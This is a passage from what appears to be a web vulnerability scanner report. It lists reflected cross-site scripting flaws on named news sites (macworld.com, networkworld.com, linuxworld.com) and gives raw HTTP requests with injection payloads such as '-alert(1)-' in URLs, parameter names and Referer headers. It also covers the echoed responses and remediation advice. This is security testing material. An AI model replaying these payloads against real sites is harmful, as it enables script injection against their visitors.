GET /reviews.html59047'-alert(1)-'430e2d29b5b HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:18:15 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 54cb6'-alert(1)-'995e89e398d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weblogs.html54cb6'-alert(1)-'995e89e398d HTTP/1.1 Host: www.macworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=0C568914C2A5F85ED1D28C92FA187E02;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Fri, 17 Dec 2010 02:19:09 GMT Connection: close Cache-Control: no-store, no-cache Cache-Control: post-check=0, pre-check=0, false Pragma: cache differently Vary: Accept-Encoding
/* Namespace RememberURI */ var RememberURI = new Object(); RememberURI.referer = '/weblogs.html54cb6'-alert(1)-'995e89e398d'; if (!RememberURI.referer.match('^/logo') && !RememberURI.referer.match('^/register')) { RememberURI.query = ''; RememberURI.referer += RememberURI.query; document.cookie = "mw.last_uri=" + es ...[SNIP]...
3.73. http://www.networkworld.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.networkworld.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c5756'-alert(1)-'5c02be9f84e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?c5756'-alert(1)-'5c02be9f84e=1 HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) nnCoection: close Content-Type: text/html; charset=UTF-8 Expires: Fri, 17 Dec 2010 02:23:43 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Fri, 17 Dec 2010 02:23:43 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: Apache=174.121.222.18.1292552622512961; path=/; expires=Sun, 16-Dec-12 02:23:42 GMT Content-Length: 212179
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 24173'-alert(1)-'a1635436dce was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET / HTTP/1.1 Host: www.linuxworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=24173'-alert(1)-'a1635436dce
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4df74'-alert(1)-'783303cfbe2 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET / HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=4df74'-alert(1)-'783303cfbe2
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) nnCoection: close Content-Type: text/html; charset=UTF-8 Expires: Fri, 17 Dec 2010 02:23:53 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Fri, 17 Dec 2010 02:23:53 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: Apache=174.121.222.18.1292552632885382; path=/; expires=Sun, 16-Dec-12 02:23:52 GMT Content-Length: 212139